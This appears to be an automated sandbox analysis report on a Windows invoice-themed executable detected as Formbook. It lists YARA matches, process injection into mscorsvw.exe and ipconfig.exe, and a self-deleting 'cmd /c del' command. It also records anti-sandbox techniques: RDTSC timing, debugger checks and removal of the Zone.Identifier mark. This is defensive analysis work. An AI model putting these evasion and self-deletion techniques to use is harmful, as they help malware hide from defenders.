Source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.mscorsvw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.mscorsvw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.mscorsvw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.mscorsvw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@5/3

Source: C:\Users\user\Desktop\PT300975-inv.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PT300975-inv.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:724:120:WilError_01

Source: PT300975-inv.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PT300975-inv.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\PT300975-inv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: PT300975-inv.exe

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Users\user\Desktop\PT300975-inv.exe 'C:\Users\user\Desktop\PT300975-inv.exe'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
Source: unknown	Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe'	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PT300975-inv.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: PT300975-inv.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PT300975-inv.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000003.00000000.364673964.0000000007AA0000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: mscorsvw.exe, 00000002.00000002.385641930.00000000057DF000.00000040.00000001.sdmp, ipconfig.exe, 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp
Source:	Binary string: mscorsvw.pdb source: ipconfig.exe, 00000004.00000002.605597251.000000000396F000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: mscorsvw.exe, ipconfig.exe
Source:	Binary string: wscui.pdb source: explorer.exe, 00000003.00000000.364673964.0000000007AA0000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE0B8C pushfd ; ret	0_2_02DE0B8D
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE3008 pushad ; iretd	0_2_02DE3011
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041CEB5 push eax; ret	2_2_0041CF08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041CF6C push eax; ret	2_2_0041CF72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041CF02 push eax; ret	2_2_0041CF08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041CF0B push eax; ret	2_2_0041CF72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0573D0D1 push ecx; ret	2_2_0573D0E4
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034BD0D1 push ecx; ret	4_2_034BD0E4
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009AD856 push esi; ret	4_2_009AD859
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009ACEB5 push eax; ret	4_2_009ACF08
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009ACF0B push eax; ret	4_2_009ACF72
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009ACF02 push eax; ret	4_2_009ACF08
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009ACF6C push eax; ret	4_2_009ACF72

Persistence and Installation Behavior:

Uses ipconfig to lookup or modify the Windows network settings

Show sources

Source: unknown

Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\PT300975-inv.exe

File opened: C:\Users\user\Desktop\PT300975-inv.exe:Zone.Identifier read attributes | delete

Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8F 0xFE 0xEE

Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: PT300975-inv.exe, 00000000.00000002.345826499.0000000004021000.00000004.00000001.sdmp

Binary or memory string: SBIEDLL.DLL!:ZONE.IDENTIFIER

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe	RDTSC instruction interceptor: First address: 00000000009998E4 second address: 00000000009998EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe	RDTSC instruction interceptor: First address: 0000000000999B5E second address: 0000000000999B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Code function: 2_2_00409A90 rdtsc

2_2_00409A90

Source: C:\Users\user\Desktop\PT300975-inv.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\PT300975-inv.exe TID: 7128	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe TID: 7144	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6584	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6584	Thread sleep time: -68000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe TID: 4004	Thread sleep time: -70000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: explorer.exe, 00000003.00000000.365412810.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000003.00000000.365372094.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000003.00000000.365176187.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.360519668.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000003.00000000.361158752.0000000006417000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.365372094.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000003.00000000.361158752.0000000006417000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: PT300975-inv.exe, 00000000.00000002.345826499.0000000004021000.00000004.00000001.sdmp	Binary or memory string: VirtualMachineDetector
Source: explorer.exe, 00000003.00000000.365176187.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000003.00000000.360519668.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000003.00000000.360519668.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000003.00000000.365176187.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000003.00000000.365412810.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: explorer.exe, 00000003.00000000.360519668.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: explorer.exe, 00000003.00000002.604467265.000000000095C000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Code function: 2_2_00409A90 rdtsc

2_2_00409A90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Code function: 2_2_0040ACD0 LdrLoadDll,

2_2_0040ACD0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570C577 mov eax, dword ptr fs:[00000030h]	2_2_0570C577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570C577 mov eax, dword ptr fs:[00000030h]	2_2_0570C577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05707D50 mov eax, dword ptr fs:[00000030h]	2_2_05707D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05723D43 mov eax, dword ptr fs:[00000030h]	2_2_05723D43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05763540 mov eax, dword ptr fs:[00000030h]	2_2_05763540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0576A537 mov eax, dword ptr fs:[00000030h]	2_2_0576A537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057AE539 mov eax, dword ptr fs:[00000030h]	2_2_057AE539
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05714D3B mov eax, dword ptr fs:[00000030h]	2_2_05714D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05714D3B mov eax, dword ptr fs:[00000030h]	2_2_05714D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05714D3B mov eax, dword ptr fs:[00000030h]	2_2_05714D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B8D34 mov eax, dword ptr fs:[00000030h]	2_2_057B8D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F3D34 mov eax, dword ptr fs:[00000030h]	2_2_056F3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EAD30 mov eax, dword ptr fs:[00000030h]	2_2_056EAD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05798DF1 mov eax, dword ptr fs:[00000030h]	2_2_05798DF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FD5E0 mov eax, dword ptr fs:[00000030h]	2_2_056FD5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FD5E0 mov eax, dword ptr fs:[00000030h]	2_2_056FD5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057AFDE2 mov eax, dword ptr fs:[00000030h]	2_2_057AFDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057AFDE2 mov eax, dword ptr fs:[00000030h]	2_2_057AFDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057AFDE2 mov eax, dword ptr fs:[00000030h]	2_2_057AFDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057AFDE2 mov eax, dword ptr fs:[00000030h]	2_2_057AFDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766DC9 mov eax, dword ptr fs:[00000030h]	2_2_05766DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766DC9 mov eax, dword ptr fs:[00000030h]	2_2_05766DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766DC9 mov eax, dword ptr fs:[00000030h]	2_2_05766DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766DC9 mov ecx, dword ptr fs:[00000030h]	2_2_05766DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766DC9 mov eax, dword ptr fs:[00000030h]	2_2_05766DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766DC9 mov eax, dword ptr fs:[00000030h]	2_2_05766DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05711DB5 mov eax, dword ptr fs:[00000030h]	2_2_05711DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05711DB5 mov eax, dword ptr fs:[00000030h]	2_2_05711DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05711DB5 mov eax, dword ptr fs:[00000030h]	2_2_05711DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057135A1 mov eax, dword ptr fs:[00000030h]	2_2_057135A1
